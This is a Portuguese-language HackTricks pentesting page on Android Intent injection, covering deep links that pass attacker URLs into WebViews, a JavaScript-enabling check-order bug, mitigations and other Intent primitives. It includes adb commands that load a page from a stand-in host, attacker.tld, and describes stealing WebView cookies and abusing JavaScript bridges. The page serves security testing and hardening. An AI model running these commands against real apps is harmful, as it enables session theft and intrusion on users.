Intent Injection

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

A injeção de Intent explora componentes que aceitam Intents ou dados controlados pelo atacante que são posteriormente convertidos em Intents. Dois padrões muito comuns durante pentests de aplicativos Android são:

  • Passar extras manipulados para Activities/Services/BroadcastReceivers exportados que são posteriormente encaminhados para componentes privilegiados e não exportados.
  • Acionar links profundos EXPORTADOS VIEW/BROWSABLE que encaminham URLs controladas pelo atacante para WebViews internas ou outros pontos sensíveis.

Deep links → WebView sink (injeção de parâmetro URL)

Se um aplicativo expuser um link profundo de esquema personalizado como:

text
myscheme://com.example.app/web?url=<attacker_url>

e a Activity receptora encaminha o parâmetro de consulta url para um WebView, você pode forçar o aplicativo a renderizar conteúdo remoto arbitrário em seu próprio contexto de WebView.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impacto

  • HTML/JS é executado dentro do perfil WebView do aplicativo.
  • Se o JavaScript estiver habilitado (por padrão ou devido a verificações desordenadas), você pode enumerar/utilizar quaisquer objetos @JavascriptInterface expostos, roubar cookies/local storage do WebView e pivotar.

Veja também:

Webview Attacks

Bug de ordem de verificações habilitando JavaScript

Um bug recorrente é habilitar JavaScript (ou outras configurações permissivas do WebView) antes que a lista de permissões/verificação da URL final termine. Se os helpers iniciais aceitarem seu deep link e o WebView for configurado primeiro, seu carregamento final acontece com o JavaScript já habilitado, mesmo que verificações posteriores sejam falhas ou muito tardias.

O que procurar no código decompilado:

  • Múltiplos helpers que analisam/dividem/reconstruem a URL de maneira diferente (normalização inconsistente).
  • Chamadas para getSettings().setJavaScriptEnabled(true) antes da última verificação da lista de permissões de host/caminho.
  • Um pipeline como: parse → validação parcial → configurar WebView → verificação final → loadUrl.

Mitigações

  • Canonicalize uma vez e valide estritamente; falhe fechado.
  • Habilite JavaScript apenas após todas as verificações passarem e logo antes de carregar conteúdo confiável.
  • Evite expor pontes a origens não confiáveis.

Outras primitivas clássicas de injeção de Intent

  • startActivity/sendBroadcast usando extras de Intent fornecidos pelo atacante que são posteriormente reanalisados (Intent.parseUri(...)) e executados.
  • Componentes proxy exportados que encaminham Intents para componentes sensíveis não exportados sem verificações de permissão.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks